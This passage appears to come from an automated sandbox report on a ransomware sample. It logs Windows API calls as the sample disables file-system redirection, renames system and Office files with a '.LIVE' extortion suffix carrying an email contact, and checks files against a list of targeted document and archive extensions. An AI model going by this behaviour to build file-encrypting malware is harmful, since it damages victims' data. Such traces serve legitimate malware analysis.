(HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d03b0 [0126.708] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d03b0, Size=0x20) returned 0x39c0b78 [0126.709] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.709] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.709] Wow64DisableWow64FsRedirection (in: OldValue=0x350ff58 | out: OldValue=0x350ff58*=0x0) returned 1 [0126.709] lstrlenW (lpString="kernel32.dll") returned 12 [0126.709] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b50 | out: hHeap=0x880000) returned 1 [0126.709] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.709] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b78 | out: hHeap=0x880000) returned 1 [0126.709] Sleep (dwMilliseconds=0x64) [0127.223] lstrcmpiW (lpString1=".ttf", lpString2=".LIVE") returned 1 [0127.224] lstrlenW (lpString="kor_boot.ttf") returned 12 [0127.224] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.399] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2371360) returned 1 [0127.399] CloseHandle (hObject=0x1f0) returned 1 [0127.400] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0127.400] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.400] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0127.400] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.400] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.400] lstrlenW (lpString=".doc") returned 4 [0127.400] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0127.400] lstrlenW (lpString=".docx") returned 5 [0127.400] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0127.400] lstrlenW (lpString=".pdf") returned 4 [0127.400] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0127.400] lstrlenW (lpString=".xls") returned 4 [0127.400] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0127.400] lstrlenW (lpString=".xlsx") returned 5 [0127.400] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0127.400] lstrlenW (lpString=".ppt") returned 4 [0127.400] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0127.400] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.400] lstrlenW (lpString=".zip") returned 4 [0127.400] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0127.400] lstrlenW (lpString=".rar") returned 4 [0127.400] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0127.400] lstrlenW (lpString=".bz2") returned 4 [0127.400] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0127.400] lstrlenW (lpString=".7z") returned 3 [0127.400] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0127.400] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.400] lstrlenW (lpString=".dbf") returned 4 [0127.400] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0127.400] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.401] lstrlenW (lpString=".1cd") returned 4 [0127.401] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0127.401] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.401] lstrlenW (lpString=".jpg") returned 4 [0127.401] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0127.401] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.401] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.401] lstrlenW (lpString=".doc") returned 4 [0127.401] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0127.401] lstrlenW (lpString=".docx") returned 5 [0127.401] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0127.401] lstrlenW (lpString=".pdf") returned 4 [0127.401] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0127.401] lstrlenW (lpString=".xls") returned 4 [0127.401] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0127.401] lstrlenW (lpString=".xlsx") returned 5 [0127.401] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0127.401] lstrlenW (lpString=".ppt") returned 4 [0127.401] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0127.401] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.401] lstrlenW (lpString=".zip") returned 4 [0127.401] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0127.401] lstrlenW (lpString=".rar") returned 4 [0127.401] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0127.401] lstrlenW (lpString=".bz2") returned 4 [0127.401] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0127.401] lstrlenW (lpString=".7z") returned 3 [0127.401] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0127.401] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.401] lstrlenW (lpString=".dbf") returned 4 [0127.401] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0127.401] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.401] lstrlenW (lpString=".1cd") returned 4 [0127.401] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0127.401] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0127.401] lstrlenW (lpString=".jpg") returned 4 [0127.401] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0127.402] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0127.402] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0127.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0129.795] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=4608) returned 1 [0129.795] CloseHandle (hObject=0x300) returned 1 [0129.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0129.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.795] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.796] lstrlenW (lpString=".doc") returned 4 [0129.796] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0129.796] lstrlenW (lpString=".docx") returned 5 [0129.796] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0129.796] lstrlenW (lpString=".pdf") returned 4 [0129.796] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0129.796] lstrlenW (lpString=".xls") returned 4 [0129.796] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0129.796] lstrlenW (lpString=".xlsx") returned 5 [0129.796] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0129.796] lstrlenW (lpString=".ppt") returned 4 [0129.796] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0129.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.796] lstrlenW (lpString=".zip") returned 4 [0129.796] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0129.796] lstrlenW (lpString=".rar") returned 4 [0129.796] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0129.796] lstrlenW (lpString=".bz2") returned 4 [0129.796] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0129.796] lstrlenW (lpString=".7z") returned 3 [0129.796] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0129.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.796] lstrlenW (lpString=".dbf") returned 4 [0129.796] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0129.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.797] lstrlenW (lpString=".1cd") returned 4 [0129.797] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0129.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.797] lstrlenW (lpString=".jpg") returned 4 [0129.797] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0129.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.797] lstrlenW (lpString=".doc") returned 4 [0129.797] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0129.797] lstrlenW (lpString=".docx") returned 5 [0129.797] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0129.797] lstrlenW (lpString=".pdf") returned 4 [0129.797] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0129.797] lstrlenW (lpString=".xls") returned 4 [0129.797] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0129.797] lstrlenW (lpString=".xlsx") returned 5 [0129.797] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0129.797] lstrlenW (lpString=".ppt") returned 4 [0129.797] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0129.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.797] lstrlenW (lpString=".zip") returned 4 [0129.797] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0129.797] lstrlenW (lpString=".rar") returned 4 [0129.797] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0129.798] lstrlenW (lpString=".bz2") returned 4 [0129.798] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0129.798] lstrlenW (lpString=".7z") returned 3 [0129.798] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0129.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.798] lstrlenW (lpString=".dbf") returned 4 [0129.798] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0129.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.798] lstrlenW (lpString=".1cd") returned 4 [0129.798] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0129.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0129.798] lstrlenW (lpString=".jpg") returned 4 [0129.798] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0129.798] lstrcmpiW (lpString1=".cnv", lpString2=".LIVE") returned -1 [0129.799] lstrlenW (lpString="Wks9Pxy.cnv") returned 11 [0129.799] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0130.008] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=57248) returned 1 [0130.008] CloseHandle (hObject=0x300) returned 1 [0130.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0130.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.009] lstrlenW (lpString=".doc") returned 4 [0130.009] lstrcmpiW (lpString1=".doc", lpString2=".cnv") returned 1 [0130.009] lstrlenW (lpString=".docx") returned 5 [0130.009] lstrcmpiW (lpString1=".docx", lpString2="y.cnv") returned -1 [0130.009] lstrlenW (lpString=".pdf") returned 4 [0130.009] lstrcmpiW (lpString1=".pdf", lpString2=".cnv") returned 1 [0130.009] lstrlenW (lpString=".xls") returned 4 [0130.009] lstrcmpiW (lpString1=".xls", lpString2=".cnv") returned 1 [0130.009] lstrlenW (lpString=".xlsx") returned 5 [0130.009] lstrcmpiW (lpString1=".xlsx", lpString2="y.cnv") returned -1 [0130.009] lstrlenW (lpString=".ppt") returned 4 [0130.009] lstrcmpiW (lpString1=".ppt", lpString2=".cnv") returned 1 [0130.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.009] lstrlenW (lpString=".zip") returned 4 [0130.009] lstrcmpiW (lpString1=".zip", lpString2=".cnv") returned 1 [0130.009] lstrlenW (lpString=".rar") returned 4 [0130.009] lstrcmpiW (lpString1=".rar", lpString2=".cnv") returned 1 [0130.009] lstrlenW (lpString=".bz2") returned 4 [0130.009] lstrcmpiW (lpString1=".bz2", lpString2=".cnv") returned -1 [0130.009] lstrlenW (lpString=".7z") returned 3 [0130.009] lstrcmpiW (lpString1=".7z", lpString2="cnv") returned -1 [0130.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.009] lstrlenW (lpString=".dbf") returned 4 [0130.009] lstrcmpiW (lpString1=".dbf", lpString2=".cnv") returned 1 [0130.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.009] lstrlenW (lpString=".1cd") returned 4 [0130.009] lstrcmpiW (lpString1=".1cd", lpString2=".cnv") returned -1 [0130.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.009] lstrlenW (lpString=".jpg") returned 4 [0130.010] lstrcmpiW (lpString1=".jpg", lpString2=".cnv") returned 1 [0130.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.010] lstrlenW (lpString=".doc") returned 4 [0130.010] lstrcmpiW (lpString1=".doc", lpString2=".cnv") returned 1 [0130.010] lstrlenW (lpString=".docx") returned 5 [0130.010] lstrcmpiW (lpString1=".docx", lpString2="y.cnv") returned -1 [0130.010] lstrlenW (lpString=".pdf") returned 4 [0130.010] lstrcmpiW (lpString1=".pdf", lpString2=".cnv") returned 1 [0130.010] lstrlenW (lpString=".xls") returned 4 [0130.010] lstrcmpiW (lpString1=".xls", lpString2=".cnv") returned 1 [0130.010] lstrlenW (lpString=".xlsx") returned 5 [0130.010] lstrcmpiW (lpString1=".xlsx", lpString2="y.cnv") returned -1 [0130.010] lstrlenW (lpString=".ppt") returned 4 [0130.010] lstrcmpiW (lpString1=".ppt", lpString2=".cnv") returned 1 [0130.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.010] lstrlenW (lpString=".zip") returned 4 [0130.010] lstrcmpiW (lpString1=".zip", lpString2=".cnv") returned 1 [0130.010] lstrlenW (lpString=".rar") returned 4 [0130.010] lstrcmpiW (lpString1=".rar", lpString2=".cnv") returned 1 [0130.010] lstrlenW (lpString=".bz2") returned 4 [0130.010] lstrcmpiW (lpString1=".bz2", lpString2=".cnv") returned -1 [0130.010] lstrlenW (lpString=".7z") returned 3 [0130.010] lstrcmpiW (lpString1=".7z", lpString2="cnv") returned -1 [0130.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.010] lstrlenW (lpString=".dbf") returned 4 [0130.010] lstrcmpiW (lpString1=".dbf", lpString2=".cnv") returned 1 [0130.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.010] lstrlenW (lpString=".1cd") returned 4 [0130.010] lstrcmpiW (lpString1=".1cd", lpString2=".cnv") returned -1 [0130.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0130.010] lstrlenW (lpString=".jpg") returned 4 [0130.010] lstrcmpiW (lpString1=".jpg", lpString2=".cnv") returned 1 [0130.011] lstrcmpiW (lpString1=".ELM", lpString2=".LIVE") returned -1 [0130.011] lstrlenW (lpString="AFTRNOON.ELM") returned 12 [0130.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0130.012] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=58766) returned 1 [0130.013] CloseHandle (hObject=0x300) returned 1 [0130.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0130.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.013] lstrlenW (lpString=".doc") returned 4 [0130.013] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.013] lstrlenW (lpString=".docx") returned 5 [0130.013] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0130.013] lstrlenW (lpString=".pdf") returned 4 [0130.013] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.013] lstrlenW (lpString=".xls") returned 4 [0130.013] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.013] lstrlenW (lpString=".xlsx") returned 5 [0130.013] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0130.013] lstrlenW (lpString=".ppt") returned 4 [0130.013] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.013] lstrlenW (lpString=".zip") returned 4 [0130.013] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.014] lstrlenW (lpString=".rar") returned 4 [0130.014] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.014] lstrlenW (lpString=".bz2") returned 4 [0130.014] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.014] lstrlenW (lpString=".7z") returned 3 [0130.014] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.014] lstrlenW (lpString=".dbf") returned 4 [0130.014] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.014] lstrlenW (lpString=".1cd") returned 4 [0130.014] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.014] lstrlenW (lpString=".jpg") returned 4 [0130.014] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.014] lstrlenW (lpString=".doc") returned 4 [0130.014] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0130.014] lstrlenW (lpString=".docx") returned 5 [0130.014] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0130.014] lstrlenW (lpString=".pdf") returned 4 [0130.014] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0130.015] lstrlenW (lpString=".xls") returned 4 [0130.015] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0130.015] lstrlenW (lpString=".xlsx") returned 5 [0130.015] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0130.015] lstrlenW (lpString=".ppt") returned 4 [0130.015] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0130.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.015] lstrlenW (lpString=".zip") returned 4 [0130.015] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0130.015] lstrlenW (lpString=".rar") returned 4 [0130.015] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0130.015] lstrlenW (lpString=".bz2") returned 4 [0130.015] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0130.015] lstrlenW (lpString=".7z") returned 3 [0130.015] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0130.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.015] lstrlenW (lpString=".dbf") returned 4 [0130.015] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0130.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.015] lstrlenW (lpString=".1cd") returned 4 [0130.015] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0130.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0130.015] lstrlenW (lpString=".jpg") returned 4 [0130.015] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0130.016] lstrcmpiW (lpString1=".INF", lpString2=".LIVE") returned -1 [0130.016] lstrlenW (lpString="AFTRNOON.INF") returned 12 [0130.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0130.016] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=555) returned 1 [0130.016] CloseHandle (hObject=0x300) returned 1 [0130.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 0x20 [0130.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0130.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0130.017] lstrlenW (lpString=".doc") returned 4 [0130.017] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0130.017] lstrlenW (lpString=".docx") returned 5 [0130.017] 